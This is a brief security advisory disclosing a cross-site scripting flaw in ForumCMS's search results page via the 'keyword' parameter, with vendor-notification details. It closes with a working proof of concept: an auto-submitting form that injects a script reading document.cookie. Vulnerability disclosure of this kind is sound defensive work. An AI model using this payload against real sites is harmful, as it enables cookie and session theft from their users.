XSS vulnerability in ForumCMS

[advisory () htbridge ch]

Vulnerability ID: HTB22428
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_forumcms.html
Product: ForumCMS
Vendor: Forum Web Design
Vulnerable Version: Current at 08.06.2010 and Probably Prior Versions
Vendor Notification: 10 June 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "search/results" script to properly sanitize user-supplied input in 
"keyword" variable. Successful exploitation of this vulnerability could result in a compromise of the application, 
theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action=http://host/cms/ForumCMS/page/search/results method=POST name=main>
<input type=hidden name=keyword value="<script>alert(document.cookie)</script>" >
</form>
<script>
document.main.submit();
</script>